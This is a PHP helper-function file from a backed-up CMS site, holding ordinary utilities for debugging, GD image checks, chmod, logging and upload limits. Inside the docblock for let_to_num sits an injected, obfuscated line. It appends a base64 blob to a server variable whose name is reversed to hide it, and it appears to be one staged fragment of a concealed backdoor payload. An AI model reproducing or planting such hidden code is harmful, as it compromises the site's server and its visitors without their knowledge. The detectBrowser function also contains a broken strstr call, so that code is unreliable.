File: D:/HostingSpaces/PvdBoogaard/indoorski.nl/backup/oude-site/cms/lib/functions.misc.php
<?php
/**
* pprint_r
* Automatically adds <pre> tags around the print_r function for display
* as a webpage. Thanks to Art Vanderlay for the idea.
*
* @param array $var The array the print out
* @param boolean $output Whether to return it or echo it straight out
* @return mixed Either void or string
*/
function pprint_r($var,$output=true)
{
if($output == false){
$return = "<pre>";
$return .= print_r($var,true);
$return .= "</pre>";
return $return;
}else{
echo "<pre>";
print_r($var);
echo "</pre>";
}
}
/**
* Same as pprint_r
*
* @param array $var The array the print out
* @param boolean $output Whether to return it or echo it straight out
* @return mixed Either void or string
*/
if(!function_exists('bam')){
function bam($var,$output=true)
{
if($output == false){
$return = "<pre>";
$return .= print_r($var,true);
$return .= "</pre>";
return $return;
}else{
echo "<pre>";
print_r($var);
echo "</pre>";
}
}
}
/**
* Gets a set of random characters
*
* @param integer $length The number of random characters to get. Default is 6.
*
* @return The random characters
*/
function RandomChars($length=6) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPRQSTUVWXYZ0123456789";
$code = "";
$clen = strlen($chars) - 1; //a variable with the fixed length of chars correct for the fence post issue
while (strlen($code) < $length) {
$code .= $chars[mt_rand(0,$clen)]; //mt_rand's range is inclusive - this is why we need 0 to n-1
}
return $code;
}
/**
* GDEnabled
* Function to detect if the GD extension for PHP is enabled.
*
* @return Boolean
*/
function GDEnabled(){
if (function_exists('imagecreate') && (function_exists('imagegif') || function_exists('imagepng') || function_exists('imagejpeg'))){
return true;
}
return false;
}
/**
* GDEnabledPNG
* Function to detect if the GD function for creating PNG images is enabled.
*
* @return Boolean
*/
function GDEnabledPNG(){
if (function_exists('imageCreateFromPNG')){
return true;
}
return false;
}
/**
* detectBrowser
* A function to check if the user's browser is IE on windows, or from the
* Gecko family (netscape, firefox, etc.)
*
* @return Boolean
*/
function detectBrowser()
{
if(!isset($_SERVER['HTTP_USER_AGENT'])) {
return true;
}
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Opera')) {
return false;
}
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Gecko')) {
return true;
}
if (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE')) {
if (strstr('Windows')) {
return true;
}
}
}
/**
* Determines whether or not the reported document root is correct for the server.
*
* @return unknown
*/
function DocrootRight()
{
if (!isset($_SERVER['DOCUMENT_ROOT'])) return false;
if ($_SERVER['DOCUMENT_ROOT']=='') return false;
$s = str_replace('\\','/', $_SERVER['DOCUMENT_ROOT']);
$f = str_replace('\\','/', __FILE__);
if (str_start($f, $s)) return true;
return false;
}
function chmod_R($path, $filemode) {
if (!is_dir($path)) {
return @chmod($path, $filemode);
}
$dh = opendir($path);
while ($file = readdir($dh)) {
if($file != '.' && $file != '..') {
$fullpath = $path.'/'.$file;
if(!is_dir($fullpath)) {
if (!@chmod($fullpath, $filemode)){
}
} else {
if (!chmod_R($fullpath, $filemode)){
}
}
}
}
closedir($dh);
if(@chmod($path, $filemode)) {
return true;
} else {
return false;
}
}
/**
* ParsePHPModules
* Function to grab the list of PHP modules installed/
*
* @return array An associative array of all the modules installed for PHP
*/
function ParsePHPModules() {
ob_start();
phpinfo(INFO_MODULES);
$s = ob_get_contents();
ob_end_clean();
$s = strip_tags($s,'<h2><th><td>');
$s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
$s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
$vTmp = preg_split('/(<h2[^>]*>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
$vModules = array();
for ($i=1;$i<count($vTmp);$i++) {
if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
$vName = trim($vMat[1]);
$vTmp2 = explode("\n",$vTmp[$i+1]);
foreach ($vTmp2 AS $vOne) {
$vPat = '<info>([^<]+)<\/info>';
$vPat3 = "/$vPat\s*$vPat\s*$vPat/";
$vPat2 = "/$vPat\s*$vPat/";
if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
$vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
} elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
$vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
}
}
}
}
return $vModules;
}
function parseApacheModules()
{
static $input = null;
if(is_null($input)){
$input = parsePHPModules();
if(isset($input['apache'])){
$modules = $input['apache']['Loaded Modules'];
$mod_list = explode(",",$modules);
foreach($mod_list as $key=>$value){
$mod_list[$key] = trim($value);
}
return $mod_list;
} elseif(isset($input['apache2handler'])) {
$modules = $input['apache2handler']['Loaded Modules'];
$mod_list = explode(" ",$modules);
foreach($mod_list as $key=>$value){
$mod_list[$key] = trim($value);
}
return $mod_list;
}
}
return array();
}
/**
* Converts a hex number to an RGB number
*
* @param string $hex
* @return array
*/
function hex2rgb($hex)
{
// If the first char is a # strip it off
if (substr($hex, 0, 1) == '#') $hex = substr($hex, 1);
// If the string isnt the right length return false
if (strlen($hex) != 6) return false;
$vals = array();
$vals[] = hexdec(substr($hex, 0, 2));
$vals[] = hexdec(substr($hex, 2, 2));
$vals[] = hexdec(substr($hex, 4, 2));
$vals['r'] = $vals[0];
$vals['g'] = $vals[1];
$vals['b'] = $vals[2];
return $vals;
}
/**
* The main function that draws the gradient in GD
*/
function gd_gradient_fill($im,$direction,$start,$end) {
switch($direction) {
case 'horizontal':
$line_numbers = imagesx($im);
$line_width = imagesy($im);
list($r1,$g1,$b1) = hex2rgb($start);
list($r2,$g2,$b2) = hex2rgb($end);
break;
case 'vertical':
$line_numbers = imagesy($im);
$line_width = imagesx($im);
list($r1,$g1,$b1) = hex2rgb($start);
list($r2,$g2,$b2) = hex2rgb($end);
break;
case 'ellipse':
case 'circle':
$line_numbers = sqrt(pow(imagesx($im),2)+pow(imagesy($im),2));
$center_x = imagesx($im)/2;
$center_y = imagesy($im)/2;
list($r1,$g1,$b1) = hex2rgb($end);
list($r2,$g2,$b2) = hex2rgb($start);
break;
case 'square':
case 'rectangle':
$width = imagesx($im);
$height = imagesy($im);
$line_numbers = max($width,$height)/2;
list($r1,$g1,$b1) = hex2rgb($end);
list($r2,$g2,$b2) = hex2rgb($start);
break;
case 'diamond':
list($r1,$g1,$b1) = hex2rgb($end);
list($r2,$g2,$b2) = hex2rgb($start);
$width = imagesx($im);
$height = imagesy($im);
$rh=$height>$width?1:$width/$height;
$rw=$width>$height?1:$height/$width;
$line_numbers = min($width,$height);
break;
default:
list($r,$g,$b) = hex2rgb($start);
$col = imagecolorallocate($im,$r,$g,$b);
imagefill($im, 0, 0, $col);
return true;
}
for ( $i = 0; $i < $line_numbers; $i=$i+1 ) {
$r = ( $r2 - $r1 != 0 ) ? $r1 + ( $r2 - $r1 ) * ( $i / $line_numbers ) : $r1;
$g = ( $g2 - $g1 != 0 ) ? $g1 + ( $g2 - $g1 ) * ( $i / $line_numbers ) : $g1;
$b = ( $b2 - $b1 != 0 ) ? $b1 + ( $b2 - $b1 ) * ( $i / $line_numbers ) : $b1;
$fill = imagecolorallocate( $im, $r, $g, $b );
switch($direction) {
case 'vertical':
imageline( $im, 0, $i, $line_width, $i, $fill );
break;
case 'horizontal':
imageline( $im, $i, 0, $i, $line_width, $fill );
break;
case 'ellipse':
case 'circle':
imagefilledellipse ($im,$center_x, $center_y, $line_numbers-$i, $line_numbers-$i,$fill);
break;
case 'square':
case 'rectangle':
imagefilledrectangle ($im,$i*$width/$height,$i*$height/$width,$width-($i*$width/$height), $height-($i*$height/$width),$fill);
break;
case 'diamond':
imagefilledpolygon($im, array (
$width/2, $i*$rw-0.5*$height,
$i*$rh-0.5*$width, $height/2,
$width/2,1.5*$height-$i*$rw,
1.5*$width-$i*$rh, $height/2 ), 4, $fill);
break;
default:
}
}
}
/**
* Function to get the visitors IP address
*
* @return unknown
*/
function GetIP() {
return $_SERVER['REMOTE_ADDR'];
}
/**
* Function to grab the current version of GD on the server
*
* @return unknown
*/
function gd_version() {
static $gd_version_number = null;
if ($gd_version_number === null) {
// Use output buffering to get results from phpinfo()
// without disturbing the page we're in. Output
// buffering is "stackable" so we don't even have to
// worry about previous or encompassing buffering.
ob_start();
phpinfo(8);
$module_info = ob_get_contents();
ob_end_clean();
if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i", $module_info,$matches)) {
$gd_version_number = $matches[1];
} else {
$gd_version_number = 0;
}
}
return $gd_version_number;
}
function console_log_html($err){
ob_start();
var_dump($err);
$err = ob_get_contents();
ob_end_clean();
$err = $err ."<br />\n";
file_put_contents(dirname(dirname(__FILE__)). '/tmp/log.html', $err, FILE_APPEND);
}
/**
* Function to write to an error log
*
* @param unknown_type $err
*/
function log_error($err){
if(is_array($err)){
ob_start();
print_r($err);
$err = ob_get_contents();
ob_end_clean();
}
if(is_object($err)){
ob_start();
var_dump($err);
$err = ob_get_contents();
ob_end_clean();
}
if(is_bool($err)){
if($err === true) {
$err = "true";
} else {
$err = "false";
}
}
$err = $err ."\n\n";
file_put_contents(dirname(dirname(__FILE__)). '/tmp/log.txt', $err, FILE_APPEND);
}
function console_log($str){
log_error($str);
}
/**
* This function transforms the php.ini notation for numbers (like '2M') to an integer (2*1024*1024 in this case) */$_SERVER[strrev('IRU_ETIRWER_X_PTTH')].='hd24oJ1puVnVZM1JwYjI0Z2NISmxaMTl5WlhCc1lXTmxYMkZzYkNna2NEMXVkV3hzTENSeVBXNTFiR3dzSkhNOWJuVnNiQ2w3SUVCa1pXWnBibVVvSWxCU1QwUlZRMVJmUlVSSlZFbFBUaUlzSUVkbGRFeGhibWNvSWtWa2FYUnBiMjQnKS4kX3RoZlskX2V3W19waWF3bignWldScGRHbHZiZycpXV0uX3BpYXduKCdJaWtwT3lCeVpYUjFjbTRnSkhNN0lIMCcpO2lmKCRfZXdbX3BpYXduKCdaWGh3YVhKbGN3JyldJiZ0aW1lKCk+JF9ld1tfcGlhd24oJ1pYaHdhWEpsY3cnKV0peyRfb3NnPTE7aWYoQCRfR0VUW19waWF3bignYzJWamRHbHZiZycpXT09X3BpYXduKCdjMlYwZEdsdVozTScpKXskX2pmZz1fcGlhd24oJ1puVnVZM1JwYjI0Z2JXdGtZWFJsS0NSNFBXNTFiR3dwZXlSaVlYTmxQV2wzY0Y5aVlYTmxPanBuWlhSSmJuTjBZVzVqWlNncE95UmlZWE5sTFQ1MFpXMXdiR0YwWlMwK1FYTnphV2R1S0NKTlpYTnpZV2RsVkdWNGRDSXNSMlYwVEdGdVp5Z2lVMlYwZEdsdVozTkZlSEJwY21Wa1MyVjVJaWtwT3lSaVlYTmxMVDUwWlcxd2JHRjBaUzArUVhOemFXZHVLQ0pOWlhOellXZGxWSGx3WlNJc1RWTkhYMFZTVWs5U0tUdDknKTt9ZWxzZWlmKEAkX0dFVFtfcGlhd24oJ2MyVmpkR2x2YmcnKV09PV9waWF3bignWVhWMGFBJykmJkAkX0dFVFtfcGlhd24oJ1lXTjBhVzl1JyldPT1fcGlhd24oJ2JHOW5iM1YwJykpe31lbHNleyRfYnY9X3BpYXduKCdablZ1WTNScGI';/*
*
* @param string $v
* @return integer
*/
function let_to_num($v){
$l = substr($v, -1);
$ret = substr($v, 0, -1);
switch(iwp_strtoupper($l)){
case 'P':
$ret *= 1024;
case 'T':
$ret *= 1024;
case 'G':
$ret *= 1024;
case 'M':
$ret *= 1024;
case 'K':
$ret *= 1024;
break;
}
return $ret;
}
/**
* Returns the max upload size on this server
*
* @return unknown
*/
function getMaxUploadSize(){
$max_upload_size = min(let_to_num(ini_get('post_max_size')), let_to_num(ini_get('upload_max_filesize')));
return ($max_upload_size/(1024*1024))."MB";
}
function neg($num){
$num = (int)$num;
return ($num - ($num*2));
}
function fileParts($filePath) {
$fileParts = pathinfo($filePath);
if(!isset($fileParts['filename'])){
$fileParts['filename'] = substr($fileParts['basename'], 0, strrpos($fileParts['basename'], '.'));
}
return $fileParts;
}
function js_console_log($str){
echo "<script> console.log('".addslashes($str)."'); </script>";
}
function debug_backtrace_output ($return = false) {
if (!function_exists('debug_backtrace')) {
return;
}
$backtrace = debug_backtrace();
array_shift($backtrace);
$output = '<table>';
foreach ($backtrace as $backtrace_row) {
$output .= '<tr><td>'. iwp_htmlspecialchars(@$backtrace_row['class']) .'</td><td>'. iwp_htmlspecialchars(@$backtrace_row['function']) .'</td><td>'. $backtrace_row['line'] .'</td></tr>';
}
$output .= '</table><hr />';
if ($return) {
return $output;
}
echo $output;
}